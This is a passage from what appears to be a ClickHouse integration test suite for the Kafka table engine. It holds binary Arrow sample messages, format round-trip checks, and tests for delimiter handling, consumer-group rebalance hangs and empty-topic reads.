x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\x78\x01\x00\x00\x41\x52\x52\x4f\x57\x31',
],
},
'ArrowStream' : {
'data_sample' : [
b'\xff\xff\xff\xff\x48\x01\x00\x00\x10\x00\x00\x00\x00\x00\x0a\x00\x0c\x00\x06\x00\x05\x00\x08\x00\x0a\x00\x00\x00\x00\x01\x03\x00\x0c\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\xff\xff\xff\xff\x58\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x16\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x03\x03\x00\x18\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x18\x00\x0c\x00\x04\x00\x08\x00\x0a\x00\x00\x00\xcc\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00',
b'\xff\xff\xff\xff\x48\x01\x00\x00\x10\x00\x00\x00\x00\x00\x0a\x00\x0c\x00\x06\x00\x05\x00\x08\x00\x0a\x00\x00\x00\x00\x01\x03\x00\x0c\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\xff\xff\xff\xff\x58\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x16\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x03\x03\x00\x18\x00\x00\x00\x48\x01\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x18\x00\x0c\x00\x04\x00\x08\x00\x0a\x00\x00\x00\xcc\x00\x00\x00\x10\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x38\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x38\x01\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x06\x00\x00\x00\x08\x00\x00\x00\x0a\x00\x00\x00\x0c\x00\x00\x00\x0e\x00\x00\x00\x10\x00\x00\x00\x12\x00\x00\x00\x14\x00\x00\x00\x16\x00\x00\x00\x18\x00\x00\x00\x1a\x00\x00\x00\x1c\x00\x00\x00\x1e\x00\x00\x00\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\xff\xff\xff\xff\x00\x00\x00\x00',
b'\xff\xff\xff\xff\x48\x01\x00\x00\x10\x00\x00\x00\x00\x00\x0a\x00\x0c\x00\x06\x00\x05\x00\x08\x00\x0a\x00\x00\x00\x00\x01\x03\x00\x0c\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\xff\xff\xff\xff\x58\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x16\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x03\x03\x00\x18\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x18\x00\x0c\x00\x04\x00\x08\x00\x0a\x00\x00\x00\xcc\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00',
],
},
}
for format_name, format_opts in list(all_formats.items()):
logging.debug(('Set up {}'.format(format_name)))
topic_name = 'format_tests_{}'.format(format_name)
data_sample = format_opts['data_sample']
data_prefix = []
# prepend empty value when supported
if format_opts.get('supports_empty_value', False):
data_prefix = data_prefix + ['']
kafka_produce(kafka_cluster, topic_name, data_prefix + data_sample)
instance.query('''
DROP TABLE IF EXISTS test.kafka_{format_name};
CREATE TABLE test.kafka_{format_name} (
id Int64,
blockNo UInt16,
val1 String,
val2 Float32,
val3 UInt8
) ENGINE = Kafka()
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = '{topic_name}',
kafka_group_name = '{topic_name}_group',
kafka_format = '{format_name}',
kafka_flush_interval_ms = 1000 {extra_settings};
DROP TABLE IF EXISTS test.kafka_{format_name}_mv;
CREATE MATERIALIZED VIEW test.kafka_{format_name}_mv Engine=Log AS
SELECT *, _topic, _partition, _offset FROM test.kafka_{format_name};
'''.format(topic_name=topic_name, format_name=format_name,
extra_settings=format_opts.get('extra_settings') or ''))
instance.wait_for_log_line('kafka.*Committed offset [0-9]+.*format_tests_', repetitions=len(all_formats.keys()), look_behind_lines=12000)
for format_name, format_opts in list(all_formats.items()):
logging.debug(('Checking {}'.format(format_name)))
topic_name = f'format_tests_{format_name}'
# shift offsets by 1 if format supports empty value
offsets = [1, 2, 3] if format_opts.get('supports_empty_value', False) else [0, 1, 2]
result = instance.query('SELECT * FROM test.kafka_{format_name}_mv;'.format(format_name=format_name))
expected = '''\
0 0 AM 0.5 1 {topic_name} 0 {offset_0}
1 0 AM 0.5 1 {topic_name} 0 {offset_1}
2 0 AM 0.5 1 {topic_name} 0 {offset_1}
3 0 AM 0.5 1 {topic_name} 0 {offset_1}
4 0 AM 0.5 1 {topic_name} 0 {offset_1}
5 0 AM 0.5 1 {topic_name} 0 {offset_1}
6 0 AM 0.5 1 {topic_name} 0 {offset_1}
7 0 AM 0.5 1 {topic_name} 0 {offset_1}
8 0 AM 0.5 1 {topic_name} 0 {offset_1}
9 0 AM 0.5 1 {topic_name} 0 {offset_1}
10 0 AM 0.5 1 {topic_name} 0 {offset_1}
11 0 AM 0.5 1 {topic_name} 0 {offset_1}
12 0 AM 0.5 1 {topic_name} 0 {offset_1}
13 0 AM 0.5 1 {topic_name} 0 {offset_1}
14 0 AM 0.5 1 {topic_name} 0 {offset_1}
15 0 AM 0.5 1 {topic_name} 0 {offset_1}
0 0 AM 0.5 1 {topic_name} 0 {offset_2}
'''.format(topic_name=topic_name, offset_0=offsets[0], offset_1=offsets[1], offset_2=offsets[2])
assert TSV(result) == TSV(expected), 'Proper result for format: {}'.format(format_name)
kafka_delete_topic(admin_client, topic_name)
# Since everything is async and shaky when receiving messages from Kafka,
# we may want to try and check results multiple times in a loop.
def kafka_check_result(result, check=False, ref_file='test_kafka_json.reference'):
fpath = p.join(p.dirname(__file__), ref_file)
with open(fpath) as reference:
if check:
assert TSV(result) == TSV(reference)
else:
return TSV(result) == TSV(reference)
# https://stackoverflow.com/a/57692111/1555175
def describe_consumer_group(kafka_cluster, name):
client = BrokerConnection('localhost', kafka_cluster.kafka_port, socket.AF_INET)
client.connect_blocking()
list_members_in_groups = DescribeGroupsRequest_v1(groups=[name])
future = client.send(list_members_in_groups)
while not future.is_done:
for resp, f in client.recv():
f.success(resp)
(error_code, group_id, state, protocol_type, protocol, members) = future.value.groups[0]
res = []
for member in members:
(member_id, client_id, client_host, member_metadata, member_assignment) = member
member_info = {}
member_info['member_id'] = member_id
member_info['client_id'] = client_id
member_info['client_host'] = client_host
member_topics_assignment = []
for (topic, partitions) in MemberAssignment.decode(member_assignment).assignment:
member_topics_assignment.append({'topic': topic, 'partitions': partitions})
member_info['assignment'] = member_topics_assignment
res.append(member_info)
return res
# Fixtures
@pytest.fixture(scope="module")
def kafka_cluster():
try:
cluster.start()
kafka_id = instance.cluster.kafka_docker_id
print(("kafka_id is {}".format(kafka_id)))
yield cluster
finally:
cluster.shutdown()
@pytest.fixture(autouse=True)
def kafka_setup_teardown():
instance.query('DROP DATABASE IF EXISTS test; CREATE DATABASE test;')
# logging.debug("kafka is available - running test")
yield # run test
# Tests
def test_kafka_issue11308(kafka_cluster):
# Check that matview does respect Kafka SETTINGS
kafka_produce(kafka_cluster, 'issue11308', ['{"t": 123, "e": {"x": "woof"} }', '{"t": 123, "e": {"x": "woof"} }',
'{"t": 124, "e": {"x": "test"} }'])
instance.query('''
CREATE TABLE test.persistent_kafka (
time UInt64,
some_string String
)
ENGINE = MergeTree()
ORDER BY time;
CREATE TABLE test.kafka (t UInt64, `e.x` String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'issue11308',
kafka_group_name = 'issue11308',
kafka_format = 'JSONEachRow',
kafka_row_delimiter = '\\n',
kafka_flush_interval_ms=1000,
input_format_import_nested_json = 1;
CREATE MATERIALIZED VIEW test.persistent_kafka_mv TO test.persistent_kafka AS
SELECT
`t` AS `time`,
`e.x` AS `some_string`
FROM test.kafka;
''')
while int(instance.query('SELECT count() FROM test.persistent_kafka')) < 3:
time.sleep(1)
result = instance.query('SELECT * FROM test.persistent_kafka ORDER BY time;')
instance.query('''
DROP TABLE test.persistent_kafka;
DROP TABLE test.persistent_kafka_mv;
''')
expected = '''\
123 woof
123 woof
124 test
'''
assert TSV(result) == TSV(expected)
def test_kafka_issue4116(kafka_cluster):
# Check that format_csv_delimiter parameter works now - as part of all available format settings.
kafka_produce(kafka_cluster, 'issue4116', ['1|foo', '2|bar', '42|answer', '100|multi\n101|row\n103|message'])
instance.query('''
CREATE TABLE test.kafka (a UInt64, b String)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'issue4116',
kafka_group_name = 'issue4116',
kafka_format = 'CSV',
kafka_row_delimiter = '\\n',
format_csv_delimiter = '|';
''')
result = instance.query('SELECT * FROM test.kafka ORDER BY a;')
expected = '''\
1 foo
2 bar
42 answer
100 multi
101 row
103 message
'''
assert TSV(result) == TSV(expected)
def test_kafka_consumer_hang(kafka_cluster):
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "consumer_hang"
kafka_create_topic(admin_client, topic_name, num_partitions=8)
instance.query(f'''
DROP TABLE IF EXISTS test.kafka;
DROP TABLE IF EXISTS test.view;
DROP TABLE IF EXISTS test.consumer;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = '{topic_name}',
kafka_group_name = '{topic_name}',
kafka_format = 'JSONEachRow',
kafka_num_consumers = 8;
CREATE TABLE test.view (key UInt64, value UInt64) ENGINE = Memory();
CREATE MATERIALIZED VIEW test.consumer TO test.view AS SELECT * FROM test.kafka;
''')
instance.wait_for_log_line('kafka.*Stalled', repetitions=20)
# This should trigger heartbeat fail,
# which will trigger REBALANCE_IN_PROGRESS,
# and which can lead to consumer hang.
kafka_cluster.pause_container('kafka1')
instance.wait_for_log_line('heartbeat error')
kafka_cluster.unpause_container('kafka1')
# logging.debug("Attempt to drop")
instance.query('DROP TABLE test.kafka')
# kafka_cluster.open_bash_shell('instance')
instance.query('''
DROP TABLE test.consumer;
DROP TABLE test.view;
''')
# original problem appearance was a sequence of the following messages in librdkafka logs:
# BROKERFAIL -> |ASSIGN| -> REBALANCE_IN_PROGRESS -> "waiting for rebalance_cb" (repeated forever)
# so it was waiting forever while the application will execute queued rebalance callback
# from a user perspective: we expect no hanging 'drop' queries
# 'dr'||'op' to avoid self matching
assert int(instance.query("select count() from system.processes where position(lower(query),'dr'||'op')>0")) == 0
# cleanup unread messages so kafka will not wait reading consumers to delete topic
instance.query(f'''
CREATE TABLE test.kafka (key UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = '{topic_name}',
kafka_group_name = '{topic_name}',
kafka_format = 'JSONEachRow',
kafka_num_consumers = 8;
''')
num_read = int(instance.query('SELECT count() FROM test.kafka'))
logging.debug(f"read {num_read} from {topic_name} before delete")
instance.query('DROP TABLE test.kafka')
kafka_delete_topic(admin_client, topic_name)
def test_kafka_consumer_hang2(kafka_cluster):
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "consumer_hang2"
kafka_create_topic(admin_client, topic_name)
instance.query('''
DROP TABLE IF EXISTS test.kafka;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'consumer_hang2',
kafka_group_name = 'consumer_hang2',
kafka_format = 'JSONEachRow';
CREATE TABLE test.kafka2 (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'consumer_hang2',
kafka_group_name = 'consumer_hang2',
kafka_format = 'JSONEachRow';
''')
# first consumer subscribe the topic, try to poll some data, and go to rest
instance.query('SELECT * FROM test.kafka')
# second consumer do the same leading to rebalance in the first
# consumer, try to poll some data
instance.query('SELECT * FROM test.kafka2')
# echo 'SELECT * FROM test.kafka; SELECT * FROM test.kafka2; DROP TABLE test.kafka;' | clickhouse client -mn &
# kafka_cluster.open_bash_shell('instance')
# first consumer has pending rebalance callback unprocessed (no poll after select)
# one of those queries was failing because of
# https://github.com/edenhill/librdkafka/issues/2077
# https://github.com/edenhill/librdkafka/issues/2898
instance.query('DROP TABLE test.kafka')
instance.query('DROP TABLE test.kafka2')
# from a user perspective: we expect no hanging 'drop' queries
# 'dr'||'op' to avoid self matching
assert int(instance.query("select count() from system.processes where position(lower(query),'dr'||'op')>0")) == 0
kafka_delete_topic(admin_client, topic_name)
def test_kafka_csv_with_delimiter(kafka_cluster):
messages = []
for i in range(50):
messages.append('{i}, {i}'.format(i=i))
kafka_produce(kafka_cluster, 'csv', messages)
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'csv',
kafka_group_name = 'csv',
kafka_format = 'CSV';
''')
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
def test_kafka_tsv_with_delimiter(kafka_cluster):
messages = []
for i in range(50):
messages.append('{i}\t{i}'.format(i=i))
kafka_produce(kafka_cluster, 'tsv', messages)
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'tsv',
kafka_group_name = 'tsv',
kafka_format = 'TSV';
''')
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
def test_kafka_select_empty(kafka_cluster):
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "empty"
kafka_create_topic(admin_client, topic_name)
instance.query(f'''
CREATE TABLE test.kafka (key UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = '{topic_name}',
kafka_group_name = '{topic_name}',
kafka_format = 'TSV',
kafka_row_delimiter = '\\n';
''')
assert int(instance.query('SELECT count() FROM test.kafka')) == 0
kafka_delete_topic(admin_client, topic_name)
def test_kafka_json_without_delimiter(kafka_cluster):
messages = ''
for i in range(25):
messages += json.dumps({'key': i, 'value': i}) + '\n'
kafka_produce(kafka_cluster, 'json', [messages])
messages = ''
for i in range(25, 50):
messages += json.dumps({'key': i, 'value': i}) + '\n'
kafka_produce(kafka_cluster, 'json', [messages])
instance.query('''
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'json',
kafka_group_name = 'json',
kafka_format = 'JSONEachRow';
''')
result = ''
while True:
result += instance.query('SELECT * FROM test.kafka', ignore_error=True)
if kafka_check_result(result):
break
kafka_check_result(result, True)
def test_kafka_protobuf(kafka_cluster):
kafka_produce_protobuf_messages(kafka_cluster, 'pb', 0, 20)
kafka_produce_protobuf_messages(kafka_cluster, 'pb', 20, 1)
kafka_produce_protobuf_messages(kafka_cluster, 'pb', 21, 29)
instance.query('''
CREATE TABLE test.kafka (key UInt64, value String)
ENGINE = Kafka
